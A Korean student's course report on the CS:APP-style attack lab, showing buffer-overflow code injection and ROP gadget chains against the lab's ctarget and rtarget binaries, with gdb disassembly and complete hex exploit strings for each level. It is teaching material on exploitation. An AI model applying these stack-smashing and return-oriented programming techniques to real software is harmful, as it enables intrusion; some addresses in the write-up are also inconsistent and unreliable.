컴퓨터시스템개론 보고서

2016310936 우승민

이번 과제는 프로그램의 취약한 code를 의도적으로 buffer overflow를 사용하여 원하는 결과를 얻어야 하는 과제이다.

C target과 R target은 각각 우리가 attack하여 원하는 값을 얻어야하는 프로그램이고 hex2raw는 attack을 할 때 우리가 입력해준 값을 컴퓨터 언어인 16진수로 바꾸어 주는 유틸리티이다. Cookie는 attack에 쓰는 식별 코드이다. Farm.c는 ROP로 함수 호출을 연계하여 return addr을 조작하는 프로그램의 코드 소스이다.

C target과 R target 모두 input으로 strings를 getbuf라는 함수로 받는다.

```
1 unsigned getbuf()
2 {
3     char buf[BUFFER_SIZE];
4     Gets(buf);
5     return 1;
6 }
```

Buffer_size의 크기로 지정되어 있는 array인 buf를 gets 함수를 써서 받고 return을 해주는 함수이다. 만약 여기서 BUFFER_SIZE보다 큰 string을 입력해주면 return값이 바뀌게 될 것이다.

Input은 -i를 이용하면 file로 입력을 할 수 있으므로 hex2raw로 원하는 input 파일을 만들어서 해주면 될 것이다. 주의할 점은 0x0a는 ascii 코드로 다음 줄로 넘기는 단어이므로 입력을 중간에 끊을 수 있어서 사용하지 않아야 한다는 점이고 little-endian의 형태로 변형을 해주어야 하므로 0xdeadbeef를 입력하고 싶으면 ef be ad de로 뒤집어 주어야한다는 점이다.

C target

Level 1

C target에서는 getbuf의 함수가 test라는 함수에서 사용된다.

```
1 void test()
2 {
3     int val;
4     val = getbuf();
5     printf("No exploit.  Getbuf returned 0x%x\n", val);
6 }
```

허용되는 크기의 입력을 받으면 함수안에 있는 문장을 출력해 줄 것이다.

```
1 void touch1()
2 {
3     vlevel = 1;        /* Part of validation protocol */
4     printf("Touch1!: You called touch1()\n");
5     validate(1);
6     exit(0);
7 }
```

Level1은 return address를 덮어 touch1을 실행하도록 만들어야 한다. 따라서 허용되는 BUFFER_SIZE와 touch1의 주소를 알아내어야 한다.

```
(gdb) disas getbuf
Dump of assembler code for function getbuf:
   0x0000000000401821 <+0>:     sub    $0x38,%rsp
   0x0000000000401825 <+4>:     mov    %rsp,%rdi
   0x0000000000401828 <+7>:     callq  0x401aab <Gets>
   0x000000000040182d <+12>:    mov    $0x1,%eax
   0x0000000000401832 <+17>:    add    $0x38,%rsp
   0x0000000000401836 <+21>:    retq
End of assembler dump.
```

우선 BUFFER_SIZE는 getbuf 함수를 disassemble을 하여 알아 낼 수 있다. 0x38이므로 3*16+8=56이 BUFFER_SIZE이다.

Touch1의 주소는 아래와 같이 touch1 함수를 disassemble을 하면 0x401837임을 알 수 있다.

```
(gdb) disas touch1
Dump of assembler code for function touch1:
   0x0000000000401837 <+0>:     sub    $0x8,%rsp
   0x000000000040183b <+4>:     movl   $0x1,0x202cd7(%rip)        # 0x60451c <vlevel>
   0x0000000000401845 <+14>:    mov    $0x403183,%edi
   0x000000000040184a <+19>:    callq  0x400cd0 <puts@plt>
   0x000000000040184f <+24>:    mov    $0x1,%edi
   0x0000000000401854 <+29>:    callq  0x401cf0 <validate>
   0x0000000000401859 <+34>:    mov    $0x0,%edi
   0x000000000040185e <+39>:    callq  0x400e50 <exit@plt>
End of assembler dump.
```

따라서 Level 1의 정답은 (주석은 보고서에서만 표시를 위해 집어 넣어주었습니다.)

```
/* 0x38byte size buffer */

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

/* touch1 address */
37 18 40 00 00 00 00 00
```

이다.

Level 2

Level 2는 1번과 달리 패딩에 코드를 포함하여야 한다. (원하는 작업을 실행해야함)

```
1  void touch2(unsigned val)
2  {
3      vlevel = 2;        /* Part of validation protocol */
4      if (val == cookie) {
5          printf("Touch2!: You called touch2(0x%.8x)\n", val);
6          validate(2);
7      } else {
8          printf("Misfire: You called touch2(0x%.8x)\n", val);
9          fail(2);
10     }
11     exit(0);
12 }
```

Test 함수에 따르면 val은 getbuf 함수의 return값이고 touch 2 함수에서는 이 return 값

이 cookie가 되어야 함을 알 수 있다. 따라서 touch2 함수를 호출해야 하고 인자로 받은 값이 cookie와 같은 값이 되도록 해주어야 한다.

함수에 대한 첫 인자가 %rdi 레지스터로 옮겨지므로 mov instruction을 사용하여 %rdi에 cookie의 값을 입력해 주면 된다. 내 cookie값은 0x47db4e3a이고 target2의 주소는

```
(gdb) disas touch2
Dump of assembler code for function touch2:
   0x0000000000401863 <+0>:     sub    $0x8,%rsp
```

0x401863 이므로

```
mov $0x47db4e3a, %edi
pushq $0x401863
ret
```

위 instruction을 code로 바꾸어 실행시켜주면 된다. 위 instruction을 기계어 코드로 바꾸어 보면 아래와 같이 나온다.

```
2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   bf 3a 4e db 47          mov    $0x47db4e3a,%edi
   5:   68 63 18 40 00          pushq  $0x401863
   a:   c3                      retq
```

Level 1에서 보았듯이 getbuf 함수의 주소가 %rsp에 있으므로 그 주소를 확인하기 위해서 gdb를 통해 ctarget을 확인하여 gerbuf에서 멈추어 읽어보면 (gdb에서 getbuf에 break를 걸고 run한 후 I r $rsp를 통해 확인가능한데 보고서를 집에서 작성하여 사진을 첨부하지 못하였습니다.)

$rsp는 0x556527b0 가 나온다.

종합하면 맨 위에는 cookie를 %edi에 옮기는 코드, 그 후에는 touch2를 실행하는 코드, BUFFER_SIZE를 넘어서는 입력 후 다시 맨 위에 적어준 코드를 실행시켜주려면 getbuf로 돌아가야 하므로 BUFFER_SIZE의 차이(0x38)만큼 %rsp의 값을 줄여주면 된다. 아래와 같이 실행하면 처음에는 BUFFER_SIZE의 크기를 넘어선 input을 받아 return address가 0x55562778로 덮어쓰여지고 이 값은 getbuf의 주소이므로 처음에 쓰여있는 실행코드를 실행하게 된다. 그러면 cookie 값을 %edi 레지스터에 넣고 touch2를 실행하게 되어진다.

```
/*cookie address >> %edi
push touch2 address
0x38 size buffer */

bf 3a 4e db 47 68 63 18
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

/* rsp address - 0x38 */
78 27 65 55 00 00 00 00
```

Level 3

Level 3 또한 2번과 같이 code를 입력해 주어야 하는데 string을 argument로 넘긴다는 차이점이 있다.

```
1  /* Compare string to hex represention of unsigned value */
2  int hexmatch(unsigned val, char *sval)
3  {
4      char cbuf[110];
5      /* Make position of check string unpredictable */
6      char *s = cbuf + random() % 100;
7      sprintf(s, "%.8x", val);
8      return strncmp(sval, s, 9) == 0;
9  }
10
11 void touch3(char *sval)
12 {
13     vlevel = 3;        /* Part of validation protocol */
14     if (hexmatch(cookie, sval)) {
15         printf("Touch3!: You called touch3(\"%s\")\n", sval);
16         validate(3);
17     } else {
18         printf("Misfire: You called touch3(\"%s\")\n", sval);
19         fail(3);
20     }
21     exit(0);
22 }
```

touch3를 보면 hexmatch의 함수를 호출하여 cookie와 string을 16진수로서 비교한다. 따라서 2번과 달리 cookie를 16진수로 바꾸어 주어야 한다.

Cookie 값 0x47db4e3a을 변환하면 34 37 64 62 34 65 33 61가 되고 stack에 point를 넣어주었기 때문에 point를 담고 있는 주소는 %rsp 바로 다음으로 오는 주소인 %rsp +8과 될 것이다. 따라서 level 2와 다르게 %rdi에 cookie를 넣어주는게 아닌 %rsp +8을 넣어주어야 한다.

위에서 찾아준 %rsp 값이 0x556527b0이므로 8을 더하고 touch3주소를 push하면

```
mov $0x556527b8, %edi
pushq $0x401974
ret
```

와 같이 되고

```
3.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   bf b8 27 65 55          mov    $0x556527b8,%edi
   5:   68 74 19 40 00          pushq  $0x401974
   a:   c3                      retq
```

```
/* %rsp +0x8 >> %edi
push touch3 address
0x38 size buffer */
```

Instruction을 기계어 코드로 확인하면 위와 같이 되는 것을 확인할 수 있다.

```
bf b8 27 65 55 68 74 19
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
```

따라서 정답은 다음과 같이 나온다. 작동원리는 level2와 동일하고 처음에 %edi에 옮겨주어야 하는 값이 cookie가 아닌 pointer의 주소로 해준다는 차이점이 있다. (stack pointer로 가야하므로)

```
/* %rsp - 0x38 */
78 27 65 55 00 00 00 00

/* cookie string */
34 37 64 62 34 65 33 61
```

r target

level 2

r target은 c target과 달리 ROP의 방법을 이용해야한다.

ROP는 여러 gadget address를 이어서 각각 gadget에서 instruction을 실행 후 ret instruction을 수행함으로써 마치 여러 instruction들이 jump를 하는 것처럼 만들어 원하는 방식으로 실행되게 만드게 하는 방법이다.

Pdf에 방식이 쓰여 있는데

```
0000000000400f15 <setval_210>:
  400f15:       c7 07 d4 48 89 c7       movl   $0xc78948d4,(%rdi)
  400f1b:       c3                      retq
```

이 함수는 (%rdi)의 주소에 $0xc78948d4 를 옮기고 return 하는 함수이다. 여기서 48 89 c7 의 기계어는 movq %rax, %rdi 의 instruction 을 나타내는 기계어이므로 만약 0x400f18 의 주소를 실행한다면 원래의 movl $0xc78948d4, (%rdi) 의 instruction 이 아닌 movq %rax, %rdi 를 실행하고 그 후에 return 을 하게 된다.

위와 같은 방식으로 여러 instruction 을 원하는 부분을 실행하고 return 하여 연속하게 만들면 내가 원하는 과정을 실행한 후 결과를 얻어 낼 수 있다. 여기에는 ROP 의 도구로서 form.c 파일에 source code 를 볼 수 있는데 start_form 부터 mid_form 까지 우리가 사용해야 한다고 pdf 에 나와있다.

이제 Level 2 를 ctarget 에서의 injection 방법이 아닌 ROP 의 방법으로 해보면
처음에는 getbuf 를 overflow 해야한다는 것이 같으므로 0x38 크기의 패딩을 해주고 level 2 에서 cookie 를 %edi 로 mov instruction 해주었던 것처럼 %edi 에 cookie 값을 넣어야 한다.

nop : This instru
byte 0x90.

Operation	
	%rax
popq *R*	58

```
0000000000401a33 <getval_465>:
 401a33: b8 4b 29 58 90       mov   $0x9058294b,%eax
 401a38: c3                   retq
```

이 함수에서 58 90 이라는 기계어 코드를 pdf 를 통해 해석해보면 58 은 popq %rax 이고 90 은 의미가 없는 코드이다. 그 후에 return 을 해줌으로 0x401a36 의 주소를 부르면 popq %rax 만 하고 return 해 줄 수 있다.

우리는 %edi 에 cookie 값을 넣어야 함으로 %rax -> %rdi 로 값을 옮기던지 %eax -> %edi 로 값을 옮겨야 한다.

Pdf 에 따르면

movq S

Source S	%rdi
%rax	48 89 c7

%rax -> %rdi에 옮기는 기계어 코드가 48 89 c7이고

```
0000000000401a11 <setval_496>:
 401a11: c7 07 48 89 c7 94    movl  $0x94c78948,(%rdi)
 401a17: c3                   retq

0000000000401a1e <addval_497>:
 401a1e: 8d 87 48 89 c7 c3    lea   -0x3c3876b8(%rdi),%eax
 401a24: c3                   retq
```

Start_form과 mid_form 안에서 찾을 수 있다. 위에 있는 함수은 movq instruction 후 다른 기계어 94가 오기 때문에 지장을 줄 수 있다. 따라서 바로 뒤에 retun이 오는 아래 함수에서 주소를 따오면 0x401a20이다.

정리하면 처음에는 BUFFER_SIZE를 넘는 패딩을 넣어 overflow를 일으켜 주고 popq를 통해 %rax에 cookie 값을 넣은 후 movq %rax, %rdi 로 %rdi에도 cookie값을 옮겨준 후 touch2 함수를 호출하면 된다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

*/popq %rax*/
36 1a 40 00 00 00 00 00

/* cookie */
3a 4e db 47 00 00 00 00

/* movq %rax, %rdi */
20 1a 40 00 00 00 00 00

/* touch2 */
63 18 40 00 00 00 00 00
```

여기서 cookie를 popq instruction 아래에 쓴 이유는 %rax에 넣기 위해서 바로 아래에 적어 준 것이다.

Level 3

마지막 문제는 4번과 마찬가지로 풀 되 touch3를 풀면 된다.

처음에는 level2와 같이 0x38 크기의 패딩을 입력하여 준다. 그 후

```
0000000000401a4d <add_xy>:
  401a4d: 48 8d 04 37          lea    (%rdi,%rsi,1),%rax
  401a51: c3                   retq
```

Add_xy 함수를 보면 %rax에 %rdi와 %rsi를 더한값을 넣어주고 return해주는 것을 확인할 수 있는데 이를 이용하면 %rdi와 %rsi에 cookie를 string으로 변환한 값과 %rsp값을 넣어준 후 add_xy를 호출한 후 다시 %rax를 %rdi로 옮겨주어 touch3를 실행하면 될 것이다.(비교하는 것이 ctarget에서도 확인 하였듯이 %rdi/%edi 이므로.)

Instruction을 구성해보면

1. Cookie string, %rsp -> %rdi, %rsi
2. Add_xy(%rdi, %rsi)
3. %rax -> %rdi
4. Touch3
5.

순으로 진행하면 된다. 내가 해 준 방법은 %rdi에 %rsp를 넣고 %rsi에 cookie string을 넣는 것이었다. %rsp -> %rdi 과정은 %rsp -> %rax -> %rdi 순으로 해주었다. (가는 방법은 자신의 form에서 찾아야 한다.) 여기서 주의해야 할 점은 내가 원하는 기계 코드 뒤에 오는 instruction이 register에 지장을 주면 안된다는 점이다. 바로 return이 오면 가장 좋은 경우이지만 그렇지 않을 때는 아무 의미 없는 90과

Operation		Register R			
		%al	%cl	%dl	%bl
andb	R, R	20 c0	20 c9	20 d2	20 db
orb	R, R	08 c0	08 c9	08 d2	08 db
cmpb	R, R	38 c0	38 c9	38 d2	38 db
testb	R, R	84 c0	84 c9	84 d2	84 db

위의 instruction이 있는 경우에만 사용할 수 있다.

%rsp -> %rax 기계 코드는 48 89 e0이고 %rax -> %rdi 기계코드는 48 89 c7 이다.

```
0000000000401ade <setval_317>:
 401ade: c7 07 48 89 e0 c3   movl   $0xc3e08948,(%rdi)
 401ae4: c3                  retq

0000000000401a1e <addval_497>:
 401a1e: 8d 87 48 89 c7 c3   lea    -0x3c3876b8(%rdi),%eax
 401a24: c3                  retq
```

각각 0x401ae0과 0x401a20을 호출하면 된다.

다음으로 cookie string을 %rsi에 옮겨 주어야 하는데

우선 %rax를 level 2와 마찬가지로 pop을 해준 후 cookie string을 집어넣고 %eax -> %ecx -> %edx -> %esi 순으로 넣어주면 된다.

%eax -> %ecx 코드는 89 c1이고, %ecx -> %edx 코드는 89 ca, %edx -> %esi는 89 d6이다. 각각을 form에서 찾아주면

```
0000000000401a58 <setval_499>:
 401a58: c7 07 89 c1 90 c3     movl   $0xc390c189,(%rdi)
 401a5e: c3                    retq

0000000000401aff <getval_389>:
 401aff:   b8 89 ca 08 db      mov    $0xdb08ca89,%eax
 401b04: c3                    retq

0000000000401a74 <getval_193>:
 401a74: b8 89 d6 08 c0        mov    $0xc008d689,%eax
 401a79: c3                    retq
```

모두 뒤에 오는 기계 코드가 return이 아니지만 90은 의미 없는 코드이고 pdf에 나와있듯이 08 db는 %bl %bl or instruction 08 c0는 %al %al instruction이어서 register에 영향을 주지 않는다.

%rax에 cookie의 string을 넣는 것은 현 buf의 주소가 %rsp이므로 %rsp를 %rax로 옮기는 주소에서부터 cookie를 입력해준 줄까지의 차이를 주면 된다.

정답을 확인해보면 아래와 같은데

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

/*popq %rax*/
36 1a 40 00 00 00 00 00
20 00 00 00 00 00 00 00 /* offset */
5a 1a 40 00 00 00 00 00 /* movl %eax, %ecx */
00 1b 40 00 00 00 00 00 /* movl %ecx, %edx */
75 1a 40 00 00 00 00 00 /* movl %edx, %esi */

e0 1a 40 00 00 00 00 00 /* movq %rsp, %rax */
20 1a 40 00 00 00 00 00 /* movq %rax, %rdi */
4d 1a 40 00 00 00 00 00 /* add_xy */
20 1a 40 00 00 00 00 00 /* movq %rax, %rdi */

/* touch3 */
74 19 40 00 00 00 00 00

/* cookie */
34 37 64 62 34 65 33 61
```

다시 설명을 하면 처음 7줄은 overflow를 일으키기 위해 BUFFER_SIZE 크기만큼 패딩을 입력하여 준 것이고, 그 후에는 주석표시를 한 대로 %rax를 pop하여 cookie string을 %esi에 옮기는 과정과 %rsp를 %rdi에 옮기는 과정 둘을 add_xy를 하여 다시 %rdi에 옮기는 것이다.
그 후 touch3를 호출하면 %rdi와 cookie를 비교하여 통과할 수 있게 된다.

여기서 offset이 cookie string을 %rax에 넣어주기 위해 입력해준 것인데 20인 이유는 movq %rsp, %rax instruction과 cookie를 입력해준 줄까지의 차이가 4줄이므로 4 *8 =32 = 0x20이어서 20을 입력해 주었다.